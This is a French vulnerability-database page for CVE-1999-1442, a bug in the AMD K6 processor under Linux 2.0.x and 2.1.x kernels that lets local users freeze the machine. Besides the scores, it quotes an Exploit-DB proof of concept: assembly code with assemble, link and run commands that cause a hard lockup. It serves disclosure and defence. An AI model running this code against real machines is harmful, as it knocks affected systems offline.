CVE-1999-1442 : Détail

CVE-1999-1442

0.32%V4
Local
2001-09-12
02h00 +00:00
2024-08-01
17h11 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Bug in AMD K6 processor on Linux 2.0.x and 2.1.x kernels allows local users to cause a denial of service (crash) via a particular sequence of instructions, possibly related to accessing addresses outside of segments.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19082

Date de publication : 1998-05-31 22h00 +00:00
Auteur : Poulot-Cazajous
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/105/info A bug in Advance Micro Devices K6 processor allows non-privileged code to crash the machine. Under Linux 2.1.x a bug stops this vulnerability. $ cat a.s .text .align 4096 /* r1 */ .globl _start _start: movl _start, %edi /* S1 */ cmpb 0x80000000(%edi),%dl /* r2, S2 */ je nowhere /* r3 */ ret $ as -o a.o a.s $ ld -defsym nowhere=0xc0000000 a.o $ ./a.out <lockup. hard reset required> Remarks : r1) _start must be aligned, otherwise you get a segfault instead of a lockup. r2) Using movb instead of compb does not work. r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended at bfffffff. After and including 2.1.43, escaping is not possible, because the code segment covers the whole address space (reducing this segment to 3.75 GB allows to trigger the bug on 2.1.103). Speculations : S1) edi must be loaded with the address of something in a deep cache on the CPU. _start works well. S2) tries to access an invalid address. This address should look like an already cached address. If only the highest bits are different, it is probably more difficult to notice that the address is not really cached. So using _start+0x80000000 works well.

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.0.0 To (including) 2.0.39

Linux>>Linux_kernel >> Version From (including) 2.1.0 To (including) 2.1.132

Références

http://www.securityfocus.com/bid/105
Tags : vdb-entry, x_refsource_BID